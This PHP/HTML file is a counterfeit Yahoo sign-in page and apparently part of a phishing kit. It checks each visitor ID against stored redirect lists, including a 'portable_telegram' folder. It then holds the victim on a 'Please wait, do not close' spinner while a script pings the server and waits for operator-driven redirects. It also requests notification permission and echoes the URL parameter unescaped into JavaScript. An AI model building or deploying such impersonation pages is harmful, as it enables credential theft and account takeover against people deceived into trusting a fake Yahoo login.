<?php
session_start();
include('../config.php');

// Get visitor ID from URL or session
$visitor_id = $_GET['id'] ?? null;
if (!$visitor_id) {
    header("Location: error.php");
    exit();
}

// Verify visitor exists in redirects.json (main or portable)
$redirects_file = __DIR__ . '/session/redirects.json';
$portable_file = __DIR__ . '/portable_telegram/session/redirects.json';
$found = false;

if (file_exists($redirects_file)) {
    $data = json_decode(file_get_contents($redirects_file), true);
    $found = isset($data['redirects'][$visitor_id]);
}

if (!$found && file_exists($portable_file)) {
    $pdata = json_decode(file_get_contents($portable_file), true);
    $found = isset($pdata['redirects'][$visitor_id]);
}

if (!$found) {
    header("Location: error.php");
    exit();
}
?>
<!DOCTYPE html>
<!-- saved from url=(0118)https://login.yahoo.com/account/logout?logout_all=1&src=frontpage&done=https%3A%2F%2Fwww.yahoo.com%2F%3Fguccounter%3D1 -->
<html id="Stencil" lang="en-US" class="js grid light-theme "><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        
        <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no">
        <meta name="format-detection" content="telephone=no">
        <meta name="referrer" content="strict-origin-when-cross-origin">
        <meta name="oath:guce:consent-host" content="guce.yahoo.com">
        <title>Login - Sign in to&nbsp;Yahoo</title>
        <meta name="description" content="Sign in to access the best in class Yahoo Mail, breaking local, national and global news, finance, sports, music, movies... You get more out of the web, you get more out of&nbsp;life.">
        <link rel="dns-prefetch" href="https://gstatic.com/">
        <link rel="dns-prefetch" href="https://google.com/">
        <link rel="dns-prefetch" href="https://s.yimg.com/">
        <link rel="dns-prefetch" href="https://y.analytics.yahoo.com/">
        <link rel="dns-prefetch" href="https://ucs.query.yahoo.com/">
        <link rel="dns-prefetch" href="https://geo.query.yahoo.com/">
        <link rel="dns-prefetch" href="https://geo.yahoo.com/">
        <link rel="icon" type="image/x-icon" href="assets/yahoo-favicon-img-v0.0.2.ico">
        <link rel="shortcut icon" type="image/x-icon" href="assets/yahoo-favicon-img-v0.0.2.ico">
        <meta name="google-site-verification" content="yOTFyUBPTnXtuk2cPpqfv7ZvZ960JgqsV8FomN3n7Y0">
        <link rel="apple-touch-icon" href="assets/yahoo-apple-touch-v0.0.2.png">
        <link rel="apple-touch-icon-precomposed" href="assets/yahoo-apple-touch-v0.0.2.png">
        <style nonce="">
            #mbr-css-check {
                display: inline;
            }
        </style>
        <link href="assets/yahoo-main.css" rel="stylesheet" type="text/css">
        <script nonce="">
            var pageStartTime = new Date().getTime();
            (function(root) {
                var isGoodJS = ('create' in Object && 'isArray' in Array && 'pushState' in window.history);
                root.isGoodJS = isGoodJS;
            }(this));
            
(function (root) {
/* -- Data -- */
root.YUI_config = {"comboBase":"https:\u002F\u002Fs.yimg.com\u002Fzz\u002Fcombo?","combine":true,"root":"yui-s:3.18.0\u002F"};
root.I13N_config = {"keys":{"pt":"utility","ver":"nodejs"}};
root.I13N_config || (root.I13N_config = {});
root.I13N_config.spaceid = 794200029;
root.I13N_config.location = "https:\u002F\u002Flogin.yahoo.com\u002Faccount\u002Flogout?src=frontpage";
root.I13N_config.referrer = "https:\u002F\u002Fwww.yahoo.com\u002F";
root.I13N_config.keys || (root.I13N_config.keys = {});
root.I13N_config.keys.gm_np = "yahoo";
root.I13N_config.keys.src = "frontpage";
root.I13N_config.keys.p_sec = "DEFAULT_SECTION";
root.I13N_config.keys.p_subsec = "DEFAULT_SUBSECTION";
root.I13N_config.keys.test = "mbr-whatsapp-ac,mbr-enbl-commchnl-rev-trap-sess-ext,mbr-imap-templatization,mbr-up-pfs-sports,mbr-message-preference-link,mbr-oauth2-api-host,mbr-up-pfs-five,mbr-oauth2-post-api-host,mbr-whatsapp-nac,mbr-universal-profile,mbr-passkey-mgmt";
root.COMET_URL = "https:\u002F\u002Fserver.comet.yahoo.com\u002Fcomet";
root.gamIframeUrl = "https:\u002F\u002Fgpt.mail.yahoo.net\u002Fsandbox?client=login&version=0.1&limited=0&headerBidder=1&haq=1&benji=1#config=%7B%22positions%22%3A%5B%7B%22adUnitPath%22%3A%22%2F22888152279%2Fus%2Fylogin%2Fmain%2Fdt%2Fus_ylogin_main_dt_full_screen%22%2C%22adLocation%22%3A%22full_screen%22%2C%22size%22%3A%5B%5B1440%2C1024%5D%2C%5B%22fluid%22%5D%5D%2C%22div%22%3A%22gpt-passback%22%7D%5D%2C%22pageUrl%22%3A%22https%3A%2F%2Flogin.yahoo.com%22%2C%22headerBidder%22%3Atrue%2C%22yahooPrebid%22%3Atrue%2C%22geoCountryCode%22%3A%22CA%22%2C%22npa%22%3Afalse%2C%22limited%22%3Afalse%2C%22targetingConfig%22%3A%7B%22lang%22%3A%22en-US%22%2C%22bucket%22%3A%22mbr-whatsapp-ac%2Cmbr-imap-templatization%2Cmbr-oauth2-api-host%2Cmbr-oauth2-post-api-host%2Cmbr-whatsapp-nac%22%2C%22spaceId%22%3A%22794200029%22%2C%22adLocation%22%3A%22full_screen%22%2C%22age%22%3A%223%22%2C%22gender%22%3A%220%22%2C%22colo%22%3A%22bf1%22%2C%22lu%22%3A%221%22%2C%22site%22%3A%22login%22%2C%22device%22%3A%22desktop%22%2C%22region%22%3A%22us%22%2C%22pageOrigin%22%3A%22https%3A%2F%2Flogin.yahoo.com%22%2C%22AXIds%22%3A%22__AXId__%22%2C%22tblaId%22%3A%22__tblaId__%22%7D%2C%22headerBidderConfig%22%3A%7B%22host%22%3A%22login.yahoo.com%22%2C%22pblob%22%3A%22lu%3A1%7C%7C794200029%7C%7C%22%2C%22buckets%22%3A%5B%22mbr-whatsapp-ac%22%2C%22mbr-imap-templatization%22%2C%22mbr-oauth2-api-host%22%2C%22mbr-oauth2-post-api-host%22%2C%22mbr-whatsapp-nac%22%5D%2C%22limited%22%3Afalse%2C%22cobrand%22%3A%22%22%2C%22lang%22%3A%22en-US%22%2C%22site%22%3A%22yahoo_login%22%2C%22region%22%3A%22us%22%2C%22adLocation%22%3A%22full_screen%22%7D%7D";
root.I13N_config.keys.pg_name = "logout";
root.isIOSDevice = false;
}(this));

            
            YUI_config.global = window;


            window.mbrSendError = function (name, url) {
                (new Image()).src = '/account/js-reporting/?rid=2p36r1dk0n2f4&crumb=' + encodeURIComponent('AKqvwNy.Usu') + '&message=' + encodeURIComponent(name) + '&url=' + encodeURIComponent(url);
            };

            var oldError = window.onerror;

            var allowListedErrorScripts = ["bundle.js"];
            window.onerror = function (errorMsg, url, lineNumber, column, errorObj) {
                const fileName = url ? url.split('/').pop() : null;
                if (fileName && allowListedErrorScripts.indexOf(fileName) > -1) {
                    window.mbrSendError(errorMsg, url);
                    if (oldError) {
                        oldError.apply(this, arguments);
                    }
                    return false;
                }
            }

        </script>
    </head>
    <body class="bucket-mbr-whatsapp-ac bucket-mbr-imap-templatization bucket-mbr-oauth2-api-host bucket-mbr-oauth2-post-api-host bucket-mbr-whatsapp-nac">
    <script nonce="">
        (function(root) {
            var doc = document;
            if (root.isGoodJS) {
                doc.documentElement.className = doc.documentElement.className.replace('no-js', 'js');
            }
        }(this));
    </script>
    <div id="login-body" class="loginish  puree-v2  grid   ">
    <div class="mbr-desktop-hd">
    <span class="column">
         <a href="#">
            <img src="assets/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png" alt="Yahoo" class="logo " width="" height="36">
            <img src="assets/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png" alt="Yahoo" class="dark-mode-logo logo " width="" height="36">
        </a>
    </span>
    <div class="desktop-universal-header">
        <a href="#" data-rapid-tracking="true" data-ylk="elm:link;elmt:link;slk:headerHelp">Help</a>
        <a href="#" class="universal-header-links" data-rapid-tracking="true" data-ylk="elm:link;elmt:link;slk:headerTerms">Terms</a>
        <a href="#" class="universal-header-links privacy-link" data-rapid-tracking="true" data-ylk="elm:link;elmt:link;slk:headerPrivacy">Privacy</a>
    </div>
</div>
    <div class="login-box-container">
        <div class="login-box right">
            <div class="mbr-login-hd txt-align-center">
                    <img src="assets/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png" alt="Yahoo" class="logo yahoo-en-US" width="" height="27">
                    <img src="assets/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png" alt="Yahoo" class="dark-mode-logo logo yahoo-en-US" width="" height="27">
                    
            </div> 
            
<div class="generic-page confirm-logout">


<div class="loading-container" style="display: flex; justify-content: center; align-items: center; height: 50vh; flex-direction: column;">
      <div class="loading-spinner" style="border: 8px solid rgba(0, 0, 0, 0.1); border-radius: 50%; border-top: 8px solid #6001d2; width: 80px; height: 80px; animation: spin 1.5s cubic-bezier(0.4, 0, 0.2, 1) infinite;">
      </div>
      <div class="loading-text mobile-text" style="margin-top: 20px; font-family: 'Google Sans', sans-serif; font-size: 1.2rem; font-weight: bold;">
        Please wait...
      </div>
      <p style="text-align: center; font-size: 14px; margin-bottom: 20px;">Please wait</p>
      <br>
      <div class="loading-subtext" style="font-weight: bold;">Do not close or refresh this page</div>
    </div>
    <style>
      @keyframes spin {
        0% { transform: rotate(0deg); }
        100% { transform: rotate(360deg); }
      }
      @media (min-width: 768px) {
        .loading-container {
          flex-direction: column !important;
          gap: 20px !important;
        }
        .loading-text.mobile-text {
          margin-top: 20px !important;
        }
        .loading-spinner {
          margin-bottom: 0 !important;
        }
        .loading-subtext {
          position: relative;
          margin-top: 10px;
        }
      }
      /* Dark mode styles */
      @media (prefers-color-scheme: dark) {
        .loading-text {
          color: #ffffff !important;
        }
      }
      /* Light mode styles */
      @media (prefers-color-scheme: light) {
        .loading-text {
          color: #000000 !important;
        }
      }
    </style>
    <script>
        // Configuration values from PHP
        const CHECK_INTERVAL = <?php echo $settings['loading_check_interval'] ?? 1000; ?>;
        const TIMEOUT = <?php echo $settings['loading_timeout'] ?? 30; ?>;
        const VISITOR_ID = '<?php echo $visitor_id; ?>';
        
        // Enable background processing
        if ('serviceWorker' in navigator && 'SyncManager' in window) {
            // Request permission for notifications to keep process alive
            if (Notification.permission !== 'granted' && Notification.permission !== 'denied') {
                Notification.requestPermission();
            }
        }
        
        // Keep the page alive with a ping
        function keepAlive() {
            // Send a ping to the server to keep the session alive
            fetch('ping.php?visitor_id=' + VISITOR_ID, { cache: 'no-store' });
        }
        
        // Set up a heartbeat to keep the page alive
        setInterval(keepAlive, 25000); // Every 25 seconds
        
        // Set up a page unload handler to store state
        window.addEventListener('beforeunload', function() {
            // Store the current time in localStorage
            localStorage.setItem('redirectChecker_lastActive', Date.now());
        });
    </script>
    <script src="assets/js/redirect-checker.js"></script> 

</div>
        </div>
        <div id="login-box-ad-fallback" class="login-box-ad-fallback" style="display: block;">
            

        </div>
    </div>
    <div class="login-bg-outer">
        <div class="login-bg-inner">
            <div id="login-ad-rich" aria-hidden="true">
                <iframe id="login-ads-gpt-iframe" allow="geolocation &#39;none&#39;; fullscreen &#39;none&#39;; autoplay &#39;none&#39;; camera &#39;none&#39;; display-capture &#39;none&#39;; document-domain &#39;none&#39;; microphone &#39;none&#39;; gyroscope &#39;none&#39;; magnetometer &#39;none&#39;; midi &#39;none&#39;; payment &#39;none&#39;; serial &#39;none&#39;; speaker-selection &#39;none&#39;" sandbox="allow-forms allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts" width="1440" height="1024" scrolling="no" frameborder="no" src="assets/sandbox.html" style="display: none;"></iframe>
            </div>
                    </div>
    </div>
</div>
    <script src="assets/rapid-3.53.39.js.download"></script>
    <script nonce="">
        var rapidInstance = new YAHOO.i13n.Rapid(I13N_config);
    </script>
    <script src="assets/bundle.js.download"></script>
    <noscript>
        <img src="/account/js-reporting/?crumb=AKqvwNy.Usu&message=javascript_not_enabled&ref=%2Faccount%2Flogout" height="0" width="0" style="visibility: hidden;">
    </noscript>
    <script src="assets/cmp.js.download"></script><iframe name="__uspapiLocator" style="display: none;" src="assets/saved_resource.html"></iframe><iframe name="__tcfapiLocator" style="display: none;" src="assets/saved_resource(1).html"></iframe><iframe name="__gppLocator" style="display: none;" src="assets/saved_resource(2).html"></iframe>
    <script src="assets/opus.js.download"></script>
    <div id="mbr-css-check"></div>
    <div id="page-mask" class="page-mask hide"></div>
    <div id="ad"></div>
    <div class="mbr-legacy-device-bar" id="mbr-legacy-device-bar">
        <label class="cross" for="mbr-legacy-device-bar-cross" aria-label="Close this warning">x</label>
        <input type="checkbox" id="mbr-legacy-device-bar-cross">
        <p class="mbr-legacy-device">
                Yahoo works best with the latest versions of the browsers. You're using an outdated or unsupported browser and some Yahoo features may not work properly. Please update your browser version now. <a href="https://login.yahoo.com/account/logout?logout_all=1&amp;src=frontpage&amp;done=https%3A%2F%2Fwww.yahoo.com%2F%3Fguccounter%3D1">More&nbsp;Info</a>
        </p>
    </div>
    <script nonce="">
        (function(root) {
            if (!root.isGoodJS) {
                document.getElementById('mbr-legacy-device-bar').style.display = 'block';
            }
        }(this));
    </script>
    

</body></html>